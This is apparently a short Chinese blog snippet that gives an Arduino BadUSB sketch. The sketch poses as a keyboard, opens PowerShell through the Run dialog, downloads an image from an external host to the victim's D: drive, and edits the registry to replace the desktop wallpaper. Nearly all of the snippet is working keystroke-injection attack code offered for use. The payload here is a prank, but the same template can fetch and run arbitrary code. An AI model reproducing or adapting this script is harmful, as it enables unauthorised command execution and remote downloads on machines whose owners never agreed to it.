BadUSB修改桌面壁纸

通过 powershell 远程下载好图片,在通过注册表修改壁纸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
delay(3000);
//返回桌面
Keyboard.press(KEY_LEFT_GUI);
delay(50);
Keyboard.press('d');
delay(50);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('d');
delay(50);
//启动运行
Keyboard.press(KEY_LEFT_GUI);
delay(50);
Keyboard.press('r');
delay(50);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
//打开powershell
Keyboard.println("powershell");
delay(50);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
//下载文件;
Keyboard.println("$client = new-object System.Net.WebClient");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(200); Keyboard.println("$client.DownloadFile('https://i.loli.net/2019/12/18/QMlPp9JtAB3I6zH.jpg','D:\\haha.jpg')");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
//通过修改注册表修改桌面图片,图片大小根据屏幕分辨率来
Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d D:\\haha.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);

//退出powershell
exit;
Keyboard.println("exit");
delay(50);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(50);
Keyboard.end();
}

void loop() {
// put your main code here, to run repeatedly:
}